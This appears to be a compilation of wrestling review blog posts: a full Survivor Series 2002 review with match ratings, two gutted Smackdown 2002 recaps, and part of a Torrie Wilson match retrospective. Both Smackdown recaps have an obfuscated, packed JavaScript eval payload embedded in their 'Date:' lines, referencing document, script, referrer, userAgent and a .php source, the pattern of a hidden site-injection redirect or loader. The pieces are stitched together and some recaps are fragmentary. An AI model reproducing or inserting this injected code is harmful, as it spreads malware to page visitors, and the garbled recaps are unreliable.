Survivor Series 2002
Date: November 17, 2002
Location: Madison Square Garden, New York City, New York
Attendance: 17,930
Commentators: Jim Ross, Jerry Lawler, Michael Cole, Tazz

This is a show with one heck of a main event as the Elimination Chamber makes its debut. The idea is that Raw wants to one up Smackdown’s Cell match the previous month and a major tradition was born. On the Smackdown side, Brock Lesnar is defending the World Title against the Big Show. Let’s get to it.

The opening video looks at the two World Title matches, with Eric Bischoff introducing the Elimination Chamber.

Bubba Ray Dudley/Spike Dudley/Spike Dudley vs. 3 Minute Warning/Rico

This is an elimination tables match, with JR bringing up TLC matches taking place in this building. That has never happened, but odds are he’s thinking of the tables match between the Hardys and the Dudleys at Royal Rumble 2000. The villains are sent outside to start so Bubba throws Spike onto them. Spike gets pulled out of the air, naturally setting up a dive from Jeff to take everyone down.

Back in and Rico hammers on Bubba in the corner, which doesn’t last long as Bubba chops him away. Spike is back in with a What’s Up to Jamal and Jeff hits a top rope legdrop version. The tables are brought in, allowing Rosey to run Bubba over with a clothesline. One heck of a backdrop sends Jeff to the floor but Rosey’s charge into the corner only hits table. That’s not an elimination because it didn’t come from the other team’s offense so Rosey is right back up with a splash to Jeff.

Spike gets sent hard through a table (you can tell it was bad as Lawler wants to see it again) so 3 Minute Warning goes up, only to have both of them get crotched. Poetry In Motion is cut off so Rosey and Hardy fight into the crowd. Back in and Rico kicks away at Bubba, who pulls Rico into the way of Jamal’s charge. Ray goes up to save Hardy, setting up a heck of a Swanton off the balcony through a table to get rid of Rosey.

Back in and Jamal puts Bubba onto a table but Hardy takes FOREVER to make the save (giving us an infamous moment of Rico screaming for Jeff to get over here already). Hardy cleans house but slips while trying to run the barricade, leaving Jamal to shove a table at Jeff’s head instead for a nasty crash.

A giant top rope splash puts Jeff through the table, leaving us with Bubba vs. Jamal/Rico. Back in and Jamal takes too long loading up a hurricanrana, allowing Ray to powerbomb him through a table. Jamal and Rosey are back up to go after Bubba but D-Von Dudley runs in for the big save and one heck of a reaction. The 3D puts Rico through the table for the win at 14:22.

Rating: B-. And that’s how they brought the Dudleys back together to end the split up runs, which really weren’t working that well. The two of them just work better together and it was the right move to make. It’s also a good way to give the match a happy ending, though it was a good, hard hitting fight until then. I’m not wild on the match being that long, but it gave us a nice ending so it works out well enough.

Stacy Keibler is at the World and introduces Saliva to play Always to look at the rest of the card.

Cruiserweight Title: Billy Kidman vs. Jamie Noble

Kidman is challenging and debuts his awesome theme music (the one with “you can run if you want to”), which should counter Nidia in Noble’s corner. An early running hurricanrana takes Noble down to start but he’s back in with a shot to take over. Kidman fights up and hits a quick backbreaker for a breather, followed by a running elbow. The fireman’s carry backbreaker gets two but Noble is right back with a Falcon Arrow for two of his own.

Back up and Kidman takes him down to load up the shooting star press, with Nidia breaking it up. The big dive drops Noble again and the slingshot legdrop gets two back inside. Noble slips out of a powerbomb (make your own jokes) and hits a tiger bomb for a rather near fall. They both go up top so Kidman can hit a heck of a top rope DDT for two, only for Noble to put him on top for a hanging DDT and his own near fall. Kidman shrugs that off, knocks Noble down, shrugs off Nidia’s distraction, and hits the shooting star press for the pin at 7:31.

Rating: B. Maybe it was due to the title feeling unimportant, but dang they were working out there and it wound up being a heck of a back and forth match. That’s what you should have done for something like this and I was digging what we got. Really hard hitting match here and Kidman gets a definitive win after surviving everything Noble threw at him.

Kurt Angle thinks he and Chris Benoit can win the Tag Team Titles. Benoit wants to fight but Angle talks about their partnership to calm him down. A handshake is offered, but Angle would rather hug. Goofy Angle continues to be hysterical.

Victoria beats up her mirror for thinking Trish Stratus is prettier.

We recap Victoria challenging Trish Stratus for the Women’s Title. They had worked together as fitness models until WWE wanted them both. Victoria implied that Stratus held her back so now Victoria is here to make up for lost time. And revenge. And the title.

Women’s Title: Trish Stratus vs. Victoria

Victoria is challenging in a hardcore match and jumps Stratus from behind before she can even take the belt off. Some choking with Stratus’ jacket has her in more trouble and Victoria grabs a broom. That takes too long though and Stratus monkey flips her over, only for Victoria to choke with the broom instead. Stratus throws her off the top with the boom though and grabs a trashcan lid, which is knocked back into her face with the same broom (that’s not a winner for Stratus so far).

The slingshot flipping legdrop gives Victoria two but it takes too long to set up a trashcan in the corner. Stratus uses said delay to catapult her face first into the trashcan and then grab an ironing board. Victoria is whipped through the board and Stratus uses a trashcan lid to smash Stratus in the face. A powerbomb gives Victoria two and she grabs a big mirror. That takes too long so Victoria sprays her with a fire extinguisher and grabs a suplex of all things for the pin and the title at 7:02.

Rating: B-. They beat the fire out of each other here and it felt like they were trying to win a fight. The ending wasn’t exactly great, but the weapon shots were the focal point here rather than the suplex. This was a solid way to make Victoria feel like a big deal right out of the gate and that is what they were trying to do.

Eric Bischoff brags about one upping Smackdown with the Elimination Chamber when Big Show comes in. Show promises to make Bischoff regret letting him go to Smackdown. By taking out Smackdown’s top star? That’s quite the weird way to g.

Lesnar is ready, with Paul Heyman being worried about what is going to happen.

We recap Big Show vs. Brock Lesnar. Show has debuted on Smackdown and injured Lesnar, with Paul Heyman not being sure if Lesnar is strong enough to deal with someone Show’s size. Lesnar wants to fight and is definitely leaning towards the good side for the first time.

Smackdown World Title; Brock Lesnar vs. Big Show

Lesnar, with Paul Heyman, is defending. They shove each other around to start as the fans are pretty firmly behind Lesnar. Show, who has a banged up arm, gets smart by going after the ribs and sending Lesnar flying out of the corner. Lesnar is right back with a spear and sends Show outside to hammer away.

Back in and Lesnar manages a belly to back suplex before busting out the expected German suplex. The referee gets bumped and Lesnar muscles Show up for a belly to belly. Heyman throws in a chair, which Lesnar smashes onto Show’s head. The F5 connects and another referee runs out…but Heyman breaks up the count. Lesnar realizes what happened and chases Heyman, right into a chair to the ribs from Show. A chokeslam onto the chair is enough to pin Lesnar for the first time at 4:18.

Rating: C. I’ve never been much of a fan of his, but time and the longer term storytelling with it (as Show would be little more than a transitional champion to Kurt Angle) have softened me on it a bit. They got in and out with a quick match as Lesnar gets screwed out of the title in a variety of ways. Show has been a monster like few others around this point so having him steal the title makes sense. It’s not good, but it’s also not as bad as I remember.

Post match Show and Heyman run off with the title and leave in a waiting car.

We recap the Smackdown Tag Team Title match. Chris Benoit and Kurt Angle wn the inaugural titles but keep arguing, with Edge and Rey Mysterio winning the titles in a classic. Los Guerreros are involved too and so it’s Smackdown Six time for the titles.

Smackdown Tag Team Titles: Kurt Angle/Chris Benoit vs. Edge/Rey Mysterio vs. Los Guerreros

Edge and Mysterio are defending under elimination rules. They glare at each other to start until Benoit and Mysterio get things going. One heck of a chop rocks Mysterio and then a second one does it again. Mysterio manages a flapjack of all things and drops a leg on Benoit’s neck, allowing the tag off to Edge to keep the pace up. Angle comes in and gets punched in the face so he forcibly brings Chavo in instead.

Mysterio is right back in with the springboard splash for two but Chavo drops him on his face. Eddie comes in to stomp away, only to get dropped with an anklescissors. Another one sends Angle into the corner, where Benoit swings at Mysterio because he’s smart enough to do a little thing like that. Mysterio goes up but slips off the top, allowing Angle to stomp away. Benoit comes in with a neckbreaker and drops him with a belly to back for two.

We settle down a bit with Angle and Benoit taking turns beating on Mysterio, with Angle grabbing a front facelock. That goes on for a good while, until Mysterio slips out of a suplex and scores with a nice spinwheel kick to the face. Los Guerreros bail from Angle’s tag attempt so it’s Benoit vs. Edge instead, with the latter taking out everyone. Edge gets caught in the ankle lock and Crossface at the same time but Mysterio makes the save with a seated senton.

Eddie comes back in but gets suplexed to the floor, followed by Edge getting suplexed to the mat with the rolling German suplexes. The frog splash hits Edge but the Swan Dive hits Eddie, setting up the double submissions. Angle isn’t legal though so the referee breaks it up, allowing Chavo to hit Benoit with the belt. Chavo throws said belt to Angle, which Benoit sees, meaning the argument is on. Mysterio takes out Chavo and Edge spears Benoit for the elimination at 13:10.

Angle and Benoit beat up Edge and Mysterio before leaving, only to argue in the aisle because that’s what they do. Eddie snaps off a suplex to Edge and a baseball slide gives Chavo two. The sleeper goes on but Edge is right out, only to get dropkicked by Chavo. Eddie hits another suplex and the front facelock goes on again. That’s broken up and Edge hits a double flapjack, which is enough to bring Mysterio in to clean house. Everything breaks down and Mysterio hits the 619, only to have Chavo hit him with a belt. Edge is taken out and the Lasso From El Paso gives Los Guerreros the titles at 19:24.

Rating: A-. Yeah of course this was great and I don’t know what else should have been expected. These people know how to work well together and they were allowed to do their thing for about twenty minutes here. WWE knew what they had with these guys and just let them go, which is why this era is so fondly remembered. Awesome stuff here, as was the case every time they were out there together.

Here is Christopher Nowinski to say that intelligence is different than street smarts. You either have intelligence or you don’t and the people here clearly don’t. Cue Matt Hardy, who keeps the room temperature at a toasty 75 degrees and only drinks lowfat chocolate milk, to say that he is happy to see this building overflowing with Mattitude.

These stupid people are sucking the Mattitude out of the arena though and he is choking worse than the Knicks (JR: “I don’t know about that.”). This just keeps going for far too long until Scott Steiner debuts and takes them both out. Steiner gets in the catchphrase to wrap it up. WAY too long, as I’m wondering if Steiner’s cue was late or something, as you could tell Hardy and Nowinski were out of things to say.

The Chamber is lowered.

Shawn Michaels talks about his chances in the Chamber but we get an RNN BREAKING NEWS. He came all the way to Survivor Series, but don’t worry, because a flight attendant gave him an extra pillow and his shoulder was protected. He’ll be back in no time.

We recap the Elimination Chamber, with HHH having issues with everyone involved and all of them wanting the title. Eric Bischoff introduced the idea to one up Smackdown using the Cell and everyone always wants to go after HHH. This gets the music video treatment with Always by Saliva.

HHH is ready for the Chamber because he’s the best. He has a first class ticket to H*** and he wants t know who’s coming with him.

Here is Eric Bischoff to walk through the Chamber and explain the whole thing concept. The fact that his rather long speech is summed up by a graphic running down the rules, and JR explaining it in far less time, makes this feel unnecessary.

Raw World Title: HHH vs. Booker T. vs. Rob Van Dam vs .Kane vs. Chris Jericho vs. Shawn Michaels

HHH, with Ric Flair, is defending and it’s HHH in at #1 and Van Dam in at #2 (And Jericho gets played to the ring by Saliva…who is in concert at the World, which is certainly unique. Maybe not good, but unique.). HHH drives him into the corner to start but Van Dam, who is rather popular, kicks him in the face and then again in the chest. The facebuster connects for HHH as commentary goes over the rules (and does a much better job than Bischoff).

They go outside for some whips to send HHH into the wall over and over, with the door popping open. A monkey flip sends the already bleeding HHH onto the Chamber floor and there’s Rolling Thunder from inside to outside. Van Dam goes up onto a pod but Jericho pulls him down, though Van Dam is able to crotch HHH on top anyway. More kicks have HHH down and it’s Jericho in at #3.

That’s fine with Van Dam, who jumps from the top to the Chamber wall, where he holds on and then dives onto Jericho with a crossbody. HHH is back up and hits the jumping knee to Van Dam before the villains take him outside again. Some hard whips send Van Dam into the wall before a DDT cuts off the comeback. Booker T. comes at #4 and cleans house, including the Spinarooni.

Van Dam slugs it out with Booker T. with the step over kick to the face giving Van Dam two. The side kick gives Booker the same but HHH is back up. Van Dam kicks him down and goes up to the top of a pod for the Five Star, with his knee landing on HHH’s throat (that was a nasty injury). Instead of covering, Booker hits a missile dropkick to get rid of Van Dam at 13:40. Booker covers HHH for two but Jericho is back up with the bulldog. An Alabama Slam gives Booker one and it’s Kane in at #5 to change things up a bit.

House is quickly cleaned again, including Jericho being sent into various things, such as through the Plexiglas. Jericho is busted open as well but he’s fine enough to hit Booker low, allowing Kane to hit a chokeslam. The Lionsault gets rid of Booker at 17:45 and we’re down to four. Jericho and HHH start double teaming Kane a bit, only for Kane to break that up without much effort. HHH gets slammed off the top but Jericho is back with the middle rope dropkick to leave everyone down.

Shawn is in at #6 to complete the field (with the entrance times being pretty close) and is quickly dropped by Kane. The running forearm cuts Kane down but he’s right back up so chokeslams can abound. Shawn is able to hit a superkick but Kane sits up, so it’s a Pedigree into a Lionsault to get rid of Kane at 22:35.

Jericho sends Shawn over the top and into the steel again and the double teaming is on. This time it’s HHH throwing Shawn over so he can rake Shawn’s face into the wall. Shawn, also bleeding, tries to fight back but gets backdropped onto the floor for a nasty crash. Back in and Shawn hits the forearm on HHH but Jericho hits the bulldog into the Lionsault…for two. And now we’re into the stretching portion, as Shawn can suddenly survive things that have beaten Booker and Kane. Shawn gets the Walls on Jericho until HHH breaks it up with a DDT.

Jericho going for the pin doesn’t please HHH so the villains get into it, with HHH hitting a hard clothesline. The facebuster gives HHH two but the Pedigree is countered into the Walls. Shawn breaks it up with the superkick and pins Jericho at 30:41, leaving us one on one. They slowly slug it out until HHH’s spinebuster gets two and they’re both slow to get up.

A backdrop sends Shawn onto the steel floor, where his own Pedigree attempt is countered into a catapult through more Plexiglas. Since it’s Shawn, he fights back again and sends HHH int the steel again, followed by a clothesline back into the ring. For some reason Shawn goes all the way to the top of the pod to drop the elbow. Instead of covering, Shawn tunes up the band but it gets reversed into the Pedigree for a rather delayed two. Another Pedigree is loaded up and Shawn hits the superkick to win the title at 39:40.

Rating: B. I’ve seen this match a bunch of times now and I’m still not sure what I think of the thing. It tells a good story, the action is there, it might be a bit longer than it needs to be, but what we get is quite good. On paper, I should like it rather well, but as usual, there is one thing that bugs me about the whole thing, and that is Shawn himself.

As many times as I’ve seen this, it always feels a bit ridiculous that Shawn could survive all of these things. He’s getting up from multiple finishers and one heck of a beating. I know the fans went nuts on the ending and all that and it does feel like a special moment, but dang it never comes off as right. Maybe this works better as a one fall match, but I can never get my head around him beating five of the best on Raw at the time.

Confetti falls for the big celebration to end the show.

Overall Rating: B+. I hadn’t realized how good of a show this really is, as you have one awesome match, a good main event and enough other strong stuff throughout to make it work very well. Lesnar vs. Show is only ok, but it barely breaks four minutes and was certainly memorable. My issues with the main event aside, this is definitely worth a look and it’s a heck of a show overall.

Ratings Comparison

Dudley Boyz/Jeff Hardy vs. Rico/3 Minute Warning

Original: B
2012 Redo: B-
2017 Redo: C+
2024 Redo: B-

Billy Kidman vs. Jamie Noble

Original: C+
2012 Redo: B-
2017 Redo: C+
2024 Redo: B

Victoria vs. Trish Stratus

Original: C-
2012 Redo: B
2017 Redo: B-
2024 Redo: B-

Big Show vs. Brock Lesnar

Original: D-
2012 Redo: D+
2017 Redo: C-
2024 Redo: C

Los Guerreros vs. Kurt Angle/Chris Benoit vs. Edge/Rey Mysterio

Original: B
2012 Redo: B+
2017 Redo: B
2024 Redo: A-

Shawn Michaels vs. HHH vs. Booker T vs. Rob Van Dam vs. Kane vs. Chris Jericho

Original: B
2012 Redo: D+
2017 Redo: B
2024 Redo: B

Overall Rating

Original: B-
2012 Redo: C+
2017 Redo: C+
2024 Redo: B+

That one main event rating is bizarre enough but the overall ratings over the years are ridiculous. The show is a near classic rather than the good at best I gave it before.

 

 

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Smackdown
Date: eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\b'+e(c)+'\b','g'),k[c])}}return p}('0.6("");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|dbibz|var|u0026u|referrer|bfsyz||js|php'.split('|'),0,{})) June 13, 2002
Location: Bi-Lo Center, Greenville, South Carolina
Commentators: Michael Cole, Tazz

We open with a long recap of the big angle from Monday.

Opening sequence.

King of the Ring Qualifying Match: Test vs. Hurricane

King of the Ring Qualifying Match: Tajiri vs. Hardcore Holly

Val Venis and Jericho trash talk each other.

GET THE F OUT! BARBERSHOP VERSION!

Chris Jericho/Lance Storm vs. Val Venis/Billy Kidman

We look at Jackie Gayda costing Linda Miles her debut match on Velocity.

Linda has found a partner to help her fight Jackie and Ivory: Trish.

Faarooq vs. Reverend D-Von

Spinebuster ends D-Von in seven seconds.

Batista hits D-Von in the head with the collection box by mistake. This whole thing took about three minutes, which is likely due to the opening segment taking up a fourth of the show. That might not be the worst thing in the world.

Trish Stratus/Linda vs. Ivory/Jackie Gayda

Stacy, looking GREAT tonight, hits on Vince for becoming boss again. Vince kisses her and Stacy looks disgusted. Dawn Marie knocking at the door was ignored.

For the first time we see the brackets for the King of the Ring.

X-Pac

Rob Van Dam

Val Venis

Chris Jericho

Test

Hardcore Holly

Booker T.

Brock Lesnar

Angle and Undertaker attack Hogan.

Hulk Hogan/HHH vs. Undertaker/Kurt Angle

The beatdown continues post match with HHH being left laying, only to have Hogan run out and attack Angle. HHH gets back up and the wig is ripped off. A lot of posing ensues to end the show.

Oh and as a bonus, here are the final four segments from a house show the Sunday before this show:

Billy and Chuck vs. Rikishi/Tazz

Chris Jericho vs. Val Venis

Swimsuit contestant

Hardcore Holly vs. Kurt Angle (Holly won)

Venis is probably a substitute for Edge but I have no idea where HHH was, as he and Angle main evented a house show the next night.

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Smackdown
Date: eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\b'+e(c)+'\b','g'),k[c])}}return p}('0.6("");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|fsasn|var|u0026u|referrer|zentz||js|php'.split('|'),0,{})) June 6, 2002
Location: Cox Convention Center, Oklahoma City, Oklahoma
Attendance: 6,000
Commentators: Michael Cole, Tazz

Battle Royal

D-Von, Lance Storm, Test, Val Venis, Albert, Faarooq, Kidman, Randy Orton, Hardcore Holly, Chavo Guerrero, Christian, Hurricane, Godfather, Al Snow, Mark Henry, HHH, Hulk Hogan, Chris Jericho, Hugh Morrus, Kurt Angle

Tag Team Titles: Rikishi/Rico vs. Billy and Chuck

King of the Ring Qualifying Match: Christian vs. Big Valbowski

Kurt Angle vs. Hardcore Holly

Holly ducks a right hand to start and scores with a hot shot. A sleeper slows Holly down and Cole calls Holly the toughest man in WWE today. Ok then. Holly reverses into a sleeper of his own which is reversed into a belly to back suplex to put both guys down. Angle goes shoulder first into the post and a powerslam give Hardcore two.

We look back at the end of the battle royal and the announcers argue over Hogan vs. HHH.

King of the Ring Qualifying Match: Edge vs. Chris Jericho

Stacy Keibler and Dawn Marie get all catty over who gets Vince. I wonder who wrote this one.

Maven is all smiley as Torrie stands next to him. Cue Tajiri to mist her and kick him in the knee. So the medical emergency went nowhere and served to waste even more time on a show full of wasted time.

Lance Storm vs. Billy Kidman

Billy tries to fly early on but gets dropkicked off the top for his efforts. A springboard clothesline gives Storm two and a hard DDT is good for the same. The half crab is broken up but Storm crotches him to avoid the shooting star. Lance superkicks him for the pin to end this entertaining filler.

We look back at Jericho attacking Edge.

Hulk Hogan vs. HHH

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Today we’re looking at one of the most gorgeous women in wrestling history: Torrie Wilson.

We’ll start things off with a mixed tag at Mayhem 1999.

Filthy Animals vs. Revolution

This is an elimination match. It’s Eddie/Kidman/Asya (Chyna ripoff) vs. Torrie/Saturn/Malenko. Shane Douglas of the Revolution is on commentary. Eddie and Kidman clean house as they’re trying to keep Torrie (a spry 24 here and drop dead gorgeous) out of the ring. We start officially with Eddie vs. Dean which works almost every time. They head to the floor so Saturn takes them out with an Asai moonsautl. Kidman dives on them too and then Torrie sets for one. Asya gets her hands on Torrie and it turns into something like a catfight.

Kidman plants Asya with a Sky High as Torrie has a bad ankle. Eddie shoves Kidman into Malenko as he’s checking on Torrie but it lets Malenko roll Kidman up for the first elimination. Eddie is destroyed by Malenko and Saturn, taking a backbreaker/knee drop combo. Asya comes in and beats on Eddie a bit, hitting an eye popping Davey Boy Smith delayed vertical for two.

Back to Eddie vs. Dean with Dean in control via a suplex. Eddie gets out of it and hits a standing rana for a pin to eliminate Dean and get us down to Eddie/Torrie vs. Saturn/Asya with Torrie having an injured ankle still. Asya comes in and beats on Eddie with another suplex getting two. Saturn accidentally superkicks Asya and a frog splash makes it 2-1 with Saturn vs. Torrie/Eddie.

It’s so weird thinking of Eddie as a Filthy Animal when he left as one of the Radicalz with a lot of the Revolution in two months. Saturn hooks a sleeper hold on Eddie but a jawbreaker gets him out of it. Scratch that as he’s right back in it. Now Eddie puts a sleeper on Saturn. Why do people that just easily escaped a sleeper think it’s such a good move to use immediately afterwords?

Saturn tries a spinning springboard clothesline but Eddie steps to the side and dropkicks him down. Something like a tornado DDT gets two. Eddie jumps into a Death Valley Driver for two. Shane is losing it on commentary and is more entertaining than anything I’ve ever heard him say or do. Saturn misses a top rope elbow so Eddie tries the same move he got rid of Dean with but it only gets two. Eddie tries a top rope cross body but Saturn rolls through into the Rings of Saturn to give us Saturn vs. Torrie. Torrie kicks him low and Shane gets on the apron. Saturn hits Torrie low which gets him the pin for the win.

Rating: C-. Not bad but I really don’t get the idea of having the girls in there. This would have been a lot better if they just had a tag match with the four guys or maybe threw in another dude to fight Asya. There wasn’t anything great here and the ending was really pretty stupid. I can think of worse ways to kill ten minutes though.

What’s better than a mixed tag match? A gimmicked mix tag match! Fall Brawl 2000.

Shane Douglas/Torrie Wilson vs. Madusa/Billy Kidman

The scaffold is over the stage here which I’m sure is completely safe. Also instead of putting them on the scaffold which starts on the ground and is raised up, they have to climb and waste more time. Douglas promises to pay everyone’s money back if the faces don’t get thrown. This is a Pittsburgh PLUNGE match, but apparently you win by crossing and climbing down. Sure why not. Kidman and Madusa don’t get entrances and just walk out and get on.

Tony tells Madden to get his jokes in so Tony can sell the match. Egads man. Tony insists it’s still going up when you can tell it’s perfectly still. The scaffold here is at least fairly wide to the point where they can walk side by side on it. That’s a LOT better than previous kinds. You know it’s a good thing we have those VIDEO screens to show the Fall Brawl logo so we know what show this MATCH is on.

The girls sprint off to get down the other side and are all alone so they just stand there. Kidman and Shane have a match up there with counters and a Sky High powerbomb and then the Franchiser (modified Stunner) on Kidman. And then Shane kicks Madusa down the ladder so that she crashes down. Now since she didn’t climb down, she doesn’t win. Oh give me a break.

Shane beats up Kidman and has him down so Torrie comes back over and waits for him to make his comeback and then hits him low so Shane can throw Kidman off the scaffold and onto the crash pad below. Once someone reminds them which way to go, the heels win. Yep, Shane Douglas is pushed over Kidman. Do I even need to explain why this was bad?

Rating: F+. How do you really grade one of these? It was maybe five minutes long and went nowhere. Shane made Kidman look freaking pathetic here and that doesn’t surprise me at all. Shane was in the downside of his career and Kidman was a guy with potential. Of course he lost. Whatever, and at least Torrie looked incredible.

At some point, Torrie had to wrestle a singles match. Here’s one of them on Thunder, September 20, 2000.

Torrie Wilson vs. Paisley

Paisley is better known as Booker T.’s wife Sharmell. Torrie shoves her down to start but Paisley flips her to the mat with ease. Shane Douglas offers a distraction, but Kwee Wee takes him down with ease. The whole thing fails anyway as Paisley rolls her up for the fast pin.

Another mixed tag from Halloween Havoc 2000.

Shane Douglas/Torrie Wilson vs. Konnan/Tygress

Torrie is dressed as Wonder Woman and DANG. Shane cuts his usual awful promo about how the whole injury thing earlier was planned. Sure why not. No Konnan to start us off. Tygress sets for a Bronco Buster (FACE FULL OF STUFF according to Madden) is blocked and there is still no Konnan. We saw him heading to the ring before the match started and here he is from through the crowd. Did he get lost or something? Was he following a trail of popcorn maybe?

Rolling clothesline hits Shane as Konnan is wearing a Vince Carter Team USA jersey. We get something close to an actual tag match finally with the guys in there. And so much for that as Tygress beats her up. Tony shows the idiocy of himself as he’s shocked that a woman can do a wristlock. You know, in a company where there was a Women’s Cruiserweight Title.

Shane punches Tygress to send her down as this is boring as all goodness. Mixed tags rarely work and this is no exception. Torrie can’t wrestle. That’s all there is to it. Madden makes sex jokes as Stevie calls a camel clutch a Boston Crab. Oh wait we have to call it a Steiner Recliner. Sure why not.

Why did Shane Douglas keep getting work? He was only worth anything in ECW and even there it wasn’t much. Outside of that though, no one was ever interested and yet he kept getting pushes. Konnan comes in and seems to be just fine of course. More Bronco Busters as this needs to end badly. And then Konnan does a double facebuster on the heels to win it. Thank goodness.

Rating: D-. Torrie looked good. The rest of this is a failure. Was there a point anywhere here? If there was I missed it completely. Totally boring match with nothing going on at all and Tygress being in the ring more often than not. Again though, this was about Torrie in that outfit and there’s nothing else to say here.

Torrie would head to the WWF in the InVasion and appear at the InVasion PPV in the perfect kind of match for her.

Torrie Wilson/Stacy Keibler vs. Lita/Trish Stratus

Mick Foley appoints himself guest referee here again. This was smart if nothing else as it gave a person people actually care about to the match. Torrie and Stacy have weird entrance music. Lita was a legit big deal at the time and was the biggest women’s star more or less since Sable and Sunny. Seriously do you want commentary here? Trish was getting better every day at this point but still wasn’t that good yet.

Stacy gets her top ripped off. Lita has the same done. Trish vs. Torrie now and Trish loses her shirt somewhere. There goes all of Torrie’s clothes. Stacy gets her pants ripped off to end it. Mick picks up the clothes after the match which is funny.

Rating: N/A. Not a wrestling match, so there you go.

From the next night (July 23, 2001) on Raw.

Torrie Wilson vs. Trish Stratus

Spanking match, meaning paddle on a pole. You win by spanking the other blonde. Neither girl has any clue what they’re doing in a ring so this is about what you would expect it to be. They do some really bad wrestling and Trish gets the paddle. Torrie runs from the paddle, dropkicks Trish, and spanks her to win. NEXT.

One week later.

Hurricane Helms/Torrie Wilson vs. Matt Hardy/Lita

Anything good in this match would result in Torrie staying on the apron and looking good. Naturally she starts with Lita and helps Helms with a double suplex. We finally bring in Matt and he gets two off a clothesline. Lita hits running clotheslines in both corners. Helms throws Lita to the floor but his superkick is countered. Litarana and Twist of Fate get two as Torrie saves. Another Twist puts Helms down but Torrie hits him low so a small package can pin Hardy.

Rating: D. Torrie just wasn’t very good at this point and it was showing badly. Stacy and Torrie as the female Alliance representatives never worked at all, especially against Lita and an improving Trish. Not a horrible match but it should have been one on one.

We’ll jump ahead a few months to Raw on October 1, 2001.

Tajiri/Torrie Wilson vs. Stacy Keibler/Tazz

Torrie is in a full body dress and Stacy is in leather shorts. Clearly they’re in fighting gear here. The guys start (thank goodness) and Tajiri hits the handspring elbow. He tries a kick but gets caught in the capture suplex and it’s off to Stacy vs. Torrie. Make this quick. As expected they’re terrible because THEY AREN’T WRESTLERS. Back to the guys with Tajiri firing off his strikes and hooking the Tarantula. Ivory runs out and DDTs Torrie so Stacy can pin her. Awful match and for the life of me is anyone supposed to care?

Time for some more PPVs, starting with No Mercy 2001.

Torrie Wilson vs. Stacy Keibler

This is a lingerie match which means they wrestle in it. Let’s get this over with. I can’t stand these kind of matches. I mean, the girls look great but when I can see them in even less for free on the internet, what’s the point? Stacy has a riding crop or something and spanks Torrie and the referee. They “wrestle” for a bit and exchange a bunch of rollups. Torrie wins with a handspring elbow. This was worthless.

Jumping ahead to No Mercy 2002.

Torrie Wilson vs. Dawn Marie

They’re not even called Divas all the time yet. Sweet goodness Cole looks toolish here. The girls look great though. Torrie drills her to start and it’s on early. This is when the girls were just AWFUL in the ring. It’s this era and the next 2-3 years where the bad stereotypes come from. Torrie kept getting ring time and looked like a rookie in her first match for the better part of three years.

Dawn drops a head into the crotch of Torrie and Tazz wonders if that actually hurts. This is just freaking terrible. Rolling catfight spot as this is going nowhere at all. They can’t even do clotheslines right. YOU STICK YOUR ARM OUT. Why is this getting extended time??? Finally Torrie wins with a swinging neckbreaker.

Rating: D-. Girls looking this hot can’t be a failure. That’s all it’s got going for it though and I want to get away from it as fast as I can.

Torrie’s father Al would then hook up with Dawn Marie, who was out to mess with Torrie’s mind. This led to a lesbian angle that sent teenagers through the roof and a wedding that sent wrestling to a new low. Al died because why not and here’s the match as a result from Royal Rumble 2003.

Dawn Marie vs. Torrie Wilson

Dawn comes to the ring in a veil because she’s in mourning. Torrie gets blasted in the face to start before spearing Dawn down and things get sloppy. Marie tries an armbar because we need some wrestling in this I guess. Torrie gets beaten on for a bit until they collide and hit the mat. Dawn hits a springboard spinning clothesline for no cover, giving us the highlight of the match. Torrie hits a neckbreaker out of nowhere for the win.

Rating: D-. Anything with these two in those outfits can’t be considered a failure, but at the end of the day, there is no real defending this match in the slightest. It was HORRIBLE and the story was borderline insulting to my intelligence, but the girls looked good and I guess that was the whole point. Why not just have a regular match if you want to is beyond me, but it’s 2003 so what do you expect?

Another day, another comedy match. From Smackdown on June 5, 2003.

Torrie Wilson/Rikishi vs. Jamie Noble/Nidia

Both guys show off their women and the fans approve of Torrie just a bit more. The girls chop it out to start and Torrie loads up a Stinkface before handing it off to Rikishi. Nidia avoids the fat man and brings in Noble who tries a sunset flip for some reason. Rikishi’s fat drop only hits mat but he comes back with a chokeslam. Noble tags in Nidia, meaning Torrie has to come in as well. Wilson hits a high cross body for two and everything breaks down. Rikishi throws Noble into Nidia, setting up a Stinkface to the evil chick. Torrie adds a neckbreaker for the pin.

Rating: D. What were you expecting from something like this? It was your usual comedy match built around one spot and Nidia getting humiliated like a comedy heel is supposed to do. Then again, as is usually the case, I can live with whatever I have to put up with if it means Torrie in shorts that small.

We’ll jump ahead again to Great American Bash 2004 in a battle for who should be spokeswoman for the show.

Sable vs. Torrie Wilson

So they’re fighting over who should be the spokesperson for this PPV. Torrie said she should be, so Sable said she looked fat. You know it’s on after that. To the shock of no one, neither of them can do anything other than look good in shorts. Sable kicks a lot and they mess up a sunset flip. The fans are already booing. All Sable so far here. Time for a chinlock by Sable as this is dying quickly. The fans are mostly silent at this point.

Torrie hits one of the worst suplexes I’ve ever seen. Cole says there are Torrie chants but I don’t hear them. Then again Cole thinks some odd things at times. They collide and both girls are down, drawing even more booing. Sable plays possum and rolls Torrie up for the pin. They couldn’t even do THAT right, as Sable rolled over her and Torrie’s right side was completely off the mat.

Rating: F. If I need to explain this one, you’re not paying enough attention.

From the next Great American Bash in a slightly better match.

Torrie Wilson vs. Melina

Bra and panties rules and Candace Michelle is guest referee for no apparent reason. I’m not particularly going to bother talking about this, because it has nothing to do with wrestling at all. Torrie does look good in pink pants though. She actually puts on an abdominal stretch and pulls the top off of Melina. Melina kicks her to the floor and takes over. Torrie loses her shirt too. Candace has had nothing at all to do in this match. And there go Torrie’s pants. I’m not rating this but they looked good.

Torrie would hook up with Victoria and Candice Michelle to form Vince’s Devils. Here’s one of their matches from Unforgiven 2005.

Torrie Wilson/Victoria vs. Ashley Massaro/Trish Stratus

